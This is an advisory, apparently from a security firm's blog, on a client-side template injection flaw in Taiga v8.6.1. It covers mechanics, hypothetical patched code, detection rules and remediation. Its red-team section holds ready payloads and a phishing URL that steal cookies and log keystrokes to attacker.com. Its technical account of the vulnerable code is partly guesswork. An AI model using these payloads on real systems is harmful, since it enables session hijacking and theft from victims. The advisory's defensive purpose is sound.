CVE-2024-53554

Executive Summary

CVE-2024-53554 is a Client-Side Template Injection (CSTI) vulnerability discovered in Taiga v8.6.1, specifically within the /project/new/scrum component. This flaw allows remote attackers to inject malicious payloads into the new project creation form, leading to arbitrary code execution in the context of the victim's browser. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

Taiga is a Python/Django-based project management tool, often deployed via Docker or pip. The CSTI vulnerability affects the frontend JavaScript templates, which are part of the core Taiga package. No known supply chain compromise has been reported, but users should verify the integrity of their Taiga installation and monitor for any suspicious package updates.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (CSTI leading to arbitrary code execution), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit the crafted project creation page
• Scope (S): Changed (C) – impact on the browser context
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High – due to the potential for full browser compromise, data theft, and session hijacking.

Deep Dive & Mechanics

The vulnerability resides in the client-side template rendering engine used by Taiga for the new project creation form. When a user navigates to /project/new/scrum, the application dynamically renders user-supplied input (e.g., project name, description) into the page without proper sanitization. An attacker can inject a malicious template expression, such as {{constructor.constructor('alert(1)')()}}, which is then executed by the client-side template engine (likely AngularJS or a similar framework).

The injection occurs because the application fails to escape or validate user input before passing it to the template compiler. This allows the attacker to break out of the template context and execute arbitrary JavaScript in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Taiga v8.6.1):

// In the project creation controller
$scope.project = {
  name: $location.search().name || '',
  description: $location.search().description || ''
};

// Template rendering (vulnerable)
<div ng-bind-html="project.name"></div>

Patched Code (Hypothetical):

// Use a safe rendering method
$scope.project = {
  name: $sanitize($location.search().name || ''),
  description: $sanitize($location.search().description || '')
};

// Template rendering (patched)
<div ng-bind="project.name"></div>

The patched version uses $sanitize to strip dangerous HTML and template expressions, and ng-bind instead of ng-bind-html to prevent HTML injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Taiga v8.6.1
• A victim user with access to the project creation page

Exploit Payload:

{{constructor.constructor('fetch("https://attacker.com/steal?cookie="+document.cookie)')()}}

Steps:

1. Craft a malicious URL: http://target-taiga.com/project/new/scrum?name={{constructor.constructor('fetch("https://attacker.com/steal?cookie="+document.cookie)')()}}
2. Send the URL to the victim via phishing email or social engineering.
3. When the victim visits the URL, the payload executes, sending their cookies to the attacker's server.

Alternative Payload (Keylogging):

{{constructor.constructor('document.onkeypress=function(e){fetch("https://attacker.com/keylog?key="+e.key)}')()}}

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /project/new/scrum with suspicious query parameters containing {{ or }}.
2. Use a Web Application Firewall (WAF) to block requests containing template injection patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Deploy a vulnerable Taiga instance using Docker: docker run -d -p 80:80 taigaio/taiga:8.6.1
• Use a browser with developer tools to inspect the page and verify the injection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /project/new/scrum with query parameters containing {{ or }}
  • Outbound connections to attacker-controlled domains from the victim's browser
• File IOCs:
  • Modified JavaScript files in the Taiga frontend directory (e.g., app.js)
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser console
  • Unauthorized cookie theft or session hijacking

Detection Engineering

YARA Rule

rule CVE_2024_53554_CSTI_Taiga {
    meta:
        description = "Detects client-side template injection patterns in Taiga v8.6.1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53554"
    strings:
        $payload1 = "{{constructor.constructor("
        $payload2 = "{{constructor.prototype"
        $payload3 = "{{__proto__"
        $payload4 = "{{toString"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-53554 Client-Side Template Injection in Taiga
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to Taiga project creation endpoint with CSTI payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '{{constructor.constructor('
            - '{{constructor.prototype'
            - '{{__proto__'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in project names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53554 Taiga CSTI Attempt"; flow:to_server; content:"/project/new/scrum"; http_uri; content:"{{"; http_uri; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /project/new/scrum endpoint if not required.
2. Implement input validation and sanitization for all user-supplied data in the project creation form.
3. Apply a Web Application Firewall (WAF) rule to block requests containing {{ or }} in query parameters.

Long-term Fix:

• Upgrade to a patched version of Taiga once available.
• Use a secure template engine that auto-escapes output (e.g., AngularJS with $sce).
• Conduct a security audit of all client-side rendering components.

Workaround:

• Modify the frontend code to use ng-bind instead of ng-bind-html for user-controlled data.

Valters IT
Securing Digital Frontiers